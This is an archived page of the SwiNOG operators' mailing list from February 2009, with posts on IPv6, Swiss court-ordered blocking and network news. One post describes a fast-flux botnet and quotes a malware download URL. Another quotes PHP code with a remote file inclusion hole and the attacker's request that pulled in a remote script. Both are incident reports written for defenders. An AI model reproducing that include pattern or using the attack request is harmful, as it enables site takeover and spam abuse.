swinog

swinog@lists.swinog.ch

3 participants
2941 discussions

Fully dynamic DNS Virus?
by Benoit Panizzon 26 Feb '09

26 Feb '09

Hello To get a bit of a change to that IPv6 topic... In the last few days I observer strange virus DNS behaviour... We get complaints that infected customers computer run webservers spreding viruses: example: http://ei.adorelyric.com/happy_valentine.exe $ for i in 1 2 3 4 5; do host ei.adorelyric.com; done ei.adorelyric.com has address 83.1.99.8 ei.adorelyric.com has address 85.193.231.237 ei.adorelyric.com has address 86.16.162.235 ei.adorelyric.com has address 88.167.171.94 ei.adorelyric.com has address 86.16.162.235 and so on, sometimes pointing to the IP of one of our customers. TTL is Zero, so the entry expires immediately. adorelyric.com has SOA record ns1.adorelyric.com. root.adorelyric.com. 20081223 300 300 300 0 ;; QUESTION SECTION: ;adorelyric.com. IN NS ;; ANSWER SECTION: adorelyric.com. 0 IN NS ns1.adorelyric.com. adorelyric.com. 0 IN NS ns2.adorelyric.com. adorelyric.com. 0 IN NS ns3.adorelyric.com. adorelyric.com. 0 IN NS ns4.adorelyric.com. adorelyric.com. 0 IN NS ns5.adorelyric.com. adorelyric.com. 0 IN NS ns6.adorelyric.com. No additional section with an IP being sent, so the resolver has to do more queries... $ for i in 1 2 3 4 5; do host ns1.adorelyric.com.; done ns1.adorelyric.com has address 24.79.83.148 ns1.adorelyric.com has address 88.185.130.161 ns1.adorelyric.com has address 76.210.63.46 ns1.adorelyric.com has address 82.36.169.65 ns1.adorelyric.com has address 76.210.63.46 Well that virus runs an own dns server randomly pointing to other infected machines. Domain Name: ADORELYRIC.COM Name Server: NS1.BESTMAZDADEALER.COM Name Server: NS2.BESTMAZDADEALER.COM Name Server: NS3.BESTMAZDADEALER.COM Name Server: NS4.BESTMAZDADEALER.COM Name Server: NS5.BESTMAZDADEALER.COM Name Server: NS6.BESTMAZDADEALER.COM Even the registered DNS point to infected machines: $ for i in 1 2 3 4 5; do host NS1.BESTMAZDADEALER.COM; done NS1.BESTMAZDADEALER.COM has address 212.87.4.145 NS1.BESTMAZDADEALER.COM has address 213.226.69.14 NS1.BESTMAZDADEALER.COM has address 61.92.213.121 NS1.BESTMAZDADEALER.COM has address 88.168.97.28 NS1.BESTMAZDADEALER.COM has address 88.168.97.28 Well one is static: $ for i in 1 2 3 4 5; do host NS6.BESTMAZDADEALER.COM; done NS6.BESTMAZDADEALER.COM has address 82.239.175.129 NS6.BESTMAZDADEALER.COM has address 82.239.175.129 NS6.BESTMAZDADEALER.COM has address 82.239.175.129 NS6.BESTMAZDADEALER.COM has address 82.239.175.129 NS6.BESTMAZDADEALER.COM has address 82.239.175.129 So this is the comand and control server? But also this IP seams to change from time to time. So what's the best option to get those hosts down? Kind regards Benoit Panizzon -- I m p r o W a r e A G - Leiter IT Customer Care ______________________________________________________ Zurlindenstrasse 29 Tel +41 61 826 93 07 CH-4133 Pratteln Fax +41 61 826 93 02 Schweiz Web http://www.imp.ch ______________________________________________________

3 2

(Fwd) Re: IPV6 Go (lazy providers)
by roger＠mgz.ch 26 Feb '09

26 Feb '09

Am 26 Feb 2009 um 10:25 hat Fredy Kuenzler geschrieben: > Stanislav Sinyagin schrieb: hardware is not ready, and the times wehre you install PPPoE on a single client are long time gone. what to do with the famous family webcam, or the X-Box of the son ? so only solution is to have a box wich converts V6 to V4 well again there is a solution, buy another PC and use that as a nat/conversion box. Nat router before 15W new PC 120W is that the way we go to an green future ? Or connect straigth all devices to the ISP, thats even a go back to the oldfirewall/natless times in home envirnonment. that would be a push forward again for malware. opens new way for some "bundestrojaner" ;) > > The fact that Andreas or Tonnere is able to configure ipv6 at home > > does not create a business case. most XP-PC are having IPV6 allready installed with all his funy virtual networkdevices. if i ask, allways got the answer, i dont know what that is, i just activated it because its there. > If you don't get extra v4 space in 1000 days, don't even consider to > complain. You have been warned. what about all the 18 A class net not in use ? How to deassign large Company b class network which they since years only use internally ? UBS, CS to only mention the largest ones think about the mil network as well ... a shame and an waste of IP-Space. i'm absolutely not against IPV6 but now, to push the enduser to use it with all his hazzle is the wrong way, We have enough Banana products on the world, where the users suffering while waiting for upgrade x-y to get it working better. . users need an all over solution. working and plug and play. in the IPV6 case the priority is different than in other cases. not the request of the client will lead to more IPV6 Enabled products, it have to be ready and implemented to getting users attention. that we have to accept. . its not a feature . its a must to go for IPV6. It have nothing to do with marketing .. sorry to dissapoint the marketing guys ;) Roger

1 0

kaspersky bug ,-)
by Steven Glogger 23 Feb '09

23 Feb '09

hi there seems I found some kind of a kaspersky (KIS 2009) bug ,-) just to cheer you up ,-) if you add the "no-advertise" keyword to your search or any webform e.g. by searching for "ospf no-advertise" you get an empty result / white page... independant of your search engine (google, msn live, etc.) ,-))) -steven

1 0

[Fwd: Fw: [torix-members] Bill Norton's Peering papers (fwd)]
by Fredy Kuenzler 23 Feb '09

23 Feb '09

FYI ... drpeering.net happend to be a beer idea which came up at the GPF 4.0 in Punta Cana, Dominican Republic. Regards, F. ---------- Forwarded Message ----------- From: "William F. Maton Sotomayor" <wmaton(a)ryouko.imsb.nrc.ca> To: torix-members(a)torix.net Sent: Sun, 8 Feb 2009 19:57:24 -0500 (EST) Subject: [torix-members] Bill Norton's Peering papers (fwd) (Forwarded from a posting I sent to OttIX members) Hi all, Bill Norton of NANOG and Equinix fame has put together a web site dedicating to IX peering, complete with his famous whitepapers. I used a couple of very old versions way back when to convince people at my day job of the value of establishing an IX, and after some searching I found Jake's original web page describing something called OttIX. There have been a lot of updates to his white papers over the years and I'm sure everyone here will find them to be of interest: http://drpeering.net/index.html Of course I'm preaching to the converted, but if anyone here encounters folks who have heard of Internet exchanges, IXs or exchange points and hesitate about connecting to any, the whitepapers might help. Thanks, wfms

3 3

censorship by EIRCOM
by Andreas Fink 23 Feb '09

23 Feb '09

Check this out. http://torrentfreak.com/music-industry-orders-bittorrent-blackout-090223/ This is what happens if you give in to censorship. it gets nastier and nastier....

1 0

SwiNOG-18 registration open
by Michel Renfer 21 Feb '09

21 Feb '09

Hi All The registration for SwiNOG-18 in April 2009 is now ready. The agenda is partially filled and will be completed over the next 1-2 weeks See you @ SwiNOG-18... P.S. SwiNOG-19 will be held at the 29th septembre 2009 - save the date ;-) thanks, SwiNOG Core Team

1 0

Post from Canton de Vaud
by Andreas Fink 20 Feb '09

20 Feb '09

Hello Collegues, Today I got a document sent to us because we are listed as ISP. You probably have all received it as well. Its a case of a Party A against "unknown" who has said something wrong/ bad about Party A. (Ehrverletzung/Verleumdung etc.) While I can understand that Party A tries to get their right to get things wrong written about them is being changed to correct, the ISP's of Switzerland are now out of a sudden involved in this as they are "in charge of blocking" the corresponding site. Also what upset's me most is the sentence that this is the status of a "Verfügung" from a "Untersuchungsrichter" and there is no legal way to oppose ("gegen die vorliegende Verügung keine Rechtsmittel möglich sind"). This might be true for the immediately accused as they had their chance to answer but for us "other 3rd party" ISP's it can not hold true as we have never heard of this case ever before and we have not been involved in this case before. I would suggest the ISP community of Switzerland stands up united against such ridiculous practice of judges who have no clue how the internet works: I see two possible ways a) All ISP's send an INvoice to the Party A for the installment of the filters. They have caused this work so they are liable for the cost. Its not our fault. b) all ISP's object in written to the decision of being in this case and oppose. or both. What are your oppinions? Andreas Fink Fink Consulting GmbH Global Networks Schweiz AG BebbiCell AG IceCell ehf --------------------------------------------------------------- Tel: +41-61-6666330 Fax: +41-61-6666331 Mobile: +41-79-2457333 Address: Clarastrasse 3, 4058 Basel, Switzerland E-Mail: andreas(a)fink.org www.finkconsulting.com www.global-networks.ch www.bebbicell.ch --------------------------------------------------------------- ICQ: 8239353 MSN: msn1(a)gni.ch AIM: smsrelay Skype: andreasfink Yahoo: finkconsulting SMS: +41792457333 http://a-fink.blogspot.com/ A developers view about iPhone SDK

17 37

F*ing Spammers and stupid customer code...
by Mike Kellenberger 19 Feb '09

19 Feb '09

Hi all Just stopped our mail server from spitting out thousands of spam messages. We have a customer who has a site with the following (stupid) code in his index.php: if($called_page_link!="") { $requested_file=$called_page_link; } include($requested_file); The f*ing spammer found out about this and called the page with: http://www.thestupidcustomer.xy/index.php?called_page_link=http://geocit ies.com/nimiuu/fuck.txt? Boom. Have I already told you that I hate spammers? :-) Oh well, one down - a few million to go... Regards, Mike -- Mike Kellenberger mike.kellenberger(a)escapenet.ch Escapenet - the Web Company Tel +41 52 235 0700 http://www.escapenet.ch Skype mikek70atwork

7 9

SIUG position Re: Post from Canton de Vaud
by Patrick Tybo 19 Feb '09

19 Feb '09

If my memory serves well: one of the guy writing the (rather harsh) pages agains the judge had... her (foreigner) wife (deported | casted out)* of switzerland. So, "unjustifiable" sound uninformed: you can understand better the whole issue with this information in hand. I remember having Mme Juge Françoise Dessaules or some close lastname, on the phone, on the begginning of this issue, it was in 1998 (!), there was no legal framework for her request, I was suprised of their (the judges) reaction when reading the rather lousy written, worded, pages, those few pages had a big impact in their head while not of significant relevance for anyone looking for good quality information. (* had to look in the translation dictionnary for this, not sure the meaning is the best) Regards. ----- On Thu, Feb 19, 2009 at 1:33 AM, Norbert Bollow <nb(a)bollow.ch> wrote: roger(a)mgz.ch wrote: > Im wondering why this guy taking a big risk in creating those pages > somebody must have triggered that sickness. I looked into this a bit back in August last year, seeking to understand what got those guys so upset. IMO the actions of those guys in creating those pages, and protesting in other (at least in part also illegal) ways, are unjustifiable. However that does not at all justify that judge's decision to push Switzerland onto the slippery slope of censorship. > there are open points, > how to finance the equipment. *If* that court order turns ends up being binding, my understanding is that the equipment will have to be financed just like all other equipment that is required for operating an ISP in accordance with the needs of the customers and the requirements of the law. > How to handle an finance an ISP get sued by an client for censorship ? If the ISP blocks *only* websites for which a court order to block them has been served on the ISP, it should be possible to get any complaint dismissed very inexpensively by pointing to that court order. This implies IMO that ISPs should avoid IP-based blocking. I would suggest to configure, in the nameservers which you make available to your customers, false authoritative DNS responses for any domains that you're required to block. Point them to a page which instructs visitors to direct any enquiries regarding the reasons for the block to the court which ordered the block, quoting the case number. Of course this is easy to circumvent for any knowledgable person, but it fulfils the requirement, and it's cheap and relatively transparent. > Is the commanding Court legitimated to force all swiss ISP to follow this > order ? This is unclear to me as well. Another question is this: What happens when one of those domain names expires and someone else registers it and uses it for some quite honorable purpose? That (now-suspended) court order does not appear to foresee any way in which the censorship order could be challenged at a later time on the grounds that the censorship demand no longer has any legal basis. > what does SIUG say to that topic ? there sems to be no activity at all. I have a few hours ago put up copies of the two recent court orders (without the lists of ISP contact person names, which IMO raise some privacy concerns) together with a very minimal comment up on siug.ch If you're interested in seeing SIUG take further action, such as publishing a position statement that explains why such censorship is a bad idea, or organizing public events (e.g. a podium discussion) on this topic, well, you're welcome to volunteer to do the necessary work, or pay someone to do it. :-) Best regards Norbert Bollow, president of SIUG

1 0

Federal Administrative Court rejects complaint (Swisscom / Bit-Stream case)
by Pascal Gloor 19 Feb '09

19 Feb '09

For the ones who missed it: English http://www.swisscom.com/GHQ/content/Media/Medienmitteilungen/20090219_Verpf… French http://www.swisscom.com/GHQ/content/Media/Medienmitteilungen/20090219_Verpf… German http://www.swisscom.com/GHQ/content/Media/Medienmitteilungen/20090219_Verpf… Cheers, Pascal

1 0

Jump to page:

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

2005

swinog